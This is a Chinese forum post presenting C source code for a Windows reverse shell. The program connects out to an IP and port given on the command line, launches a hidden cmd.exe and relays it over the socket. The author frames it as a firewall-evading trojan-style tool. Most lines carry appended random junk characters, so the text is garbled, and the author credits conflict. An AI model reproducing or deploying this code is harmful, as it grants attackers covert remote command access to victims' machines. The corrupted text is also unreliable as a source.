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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d.3cd40Q  
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/* ============================== "\`>Ll  
Rebound port in Windows NT :f_fp(T  
By wind,2006/7 xmXuBp:M(R  
===============================*/ !!:mjq<0  
#include 19j"Zxdg Y  
#include xm$-:N0q  
}huFv*<@'  
#pragma comment(lib,"wsock32.lib") {'@`: p&3r  
a2%xW_e  
void OutputShell(); Swr 8  
SOCKET sClient; *'to#_n&W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D`NPU  
kWMz;{I5*w  
void main(int argc,char **argv) 7U647G(Sg  
{ `p'682xI  
WSADATA stWsaData; +S6(Fvp  
int nRet; "zZ Z h  
SOCKADDR_IN stSaiClient,stSaiServer; bGtS! 'I  
*YO^+]nmY  
if(argc != 3) sD ,=_q@  
{ -\[H>)z]RB  
printf("Useage:\n\rRebound DestIP DestPort\n"); <{P`A%g@  
return; f1w_Cl  
} YG_|L[/#  
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WSAStartup(MAKEWORD(2,2),&stWsaData); d+o.J",E  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /N9ct4 {^  
W\Df:P {<  
stSaiClient.sin_family = AF_INET; !*e1F9k  
stSaiClient.sin_port = htons(0); c4V%>A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iz%wozf  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L+.&e4f'oj  
{ W7#dc89}  
printf("Bind Socket Failed!\n"); 8vqx}2  
return; 4&kC8 [r  
} Bw/8-:eb  
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stSaiServer.sin_family = AF_INET; l=PZlH y1G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nq5qUErew  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6^e}^~|  
r#'ug^^k$X  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IhjZ{oV/@  
{ XY^]nm-{I  
printf("Connect Error!");  35%\"Y?  
return; %E2b{Y;  
} ~JQ6V?fucD  
OutputShell(); ^D8~s;?  
} aqEmF  
{/}%[cY =  
void OutputShell() D/YMovH%  
{ i_e%HG  
char szBuff[1024]; yu>)[|-  
SECURITY_ATTRIBUTES stSecurityAttributes; oJ?,X^~_  
OSVERSIONINFO stOsversionInfo; < Dt/JA(p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U'aJCM  
STARTUPINFO stStartupInfo; = glF6a  
char *szShell; V}X>~ '%  
PROCESS_INFORMATION stProcessInformation; 74r$)\q  
unsigned long lBytesRead; FrC)2wX  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4<V}A j8l  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i__f%j`!W  
stSecurityAttributes.lpSecurityDescriptor = 0; ,@kLH"a0  
stSecurityAttributes.bInheritHandle = TRUE; fE"-W{M  
_#K?yP?  
7 !dj&?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m6uFmU*<M}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *#9?9SYSk  
0`V;;w8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [/o B jiBA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {T-=&%||  
stStartupInfo.wShowWindow = SW_HIDE; m Uy>w  
stStartupInfo.hStdInput = hReadPipe; {53|X=D64  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U(gYx@   
#(QS5J&Qq  
GetVersionEx(&stOsversionInfo); : { iK 5  
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switch(stOsversionInfo.dwPlatformId) 7g$*K0m`  
{ Y-lwS-Ii  
case 1: OLo?=1&;;  
szShell = "command.com"; ^ WF_IH&  
break; aLl=L_  
default: jx{ fel  
szShell = "cmd.exe"; 7K ~)7U  
break; pk`5RDBu  
} 6LrI,d  
*R}p9;dpO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 31\mF\{V  
Z;S)GUG^  
send(sClient,szMsg,77,0); "~S2XcR[ E  
while(1) _0BQnzC=  
{ 2}XxRJ0   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #"8'y  
if(lBytesRead) +koW3>  
{ >{l b|Vx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cn0s?3Fm  
send(sClient,szBuff,lBytesRead,0); =KAN|5yn  
} ?D|kCw69SE  
else * =*\w\ te  
{ L1WvX6  
lBytesRead=recv(sClient,szBuff,1024,0); *pDS%,$xe  
if(lBytesRead<=0) break; p( )LQT!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !L( )3=  
} k{O bm g  
} kZhd^H.  
IwBO#HR~)  
return; S=W^iA6>  
}
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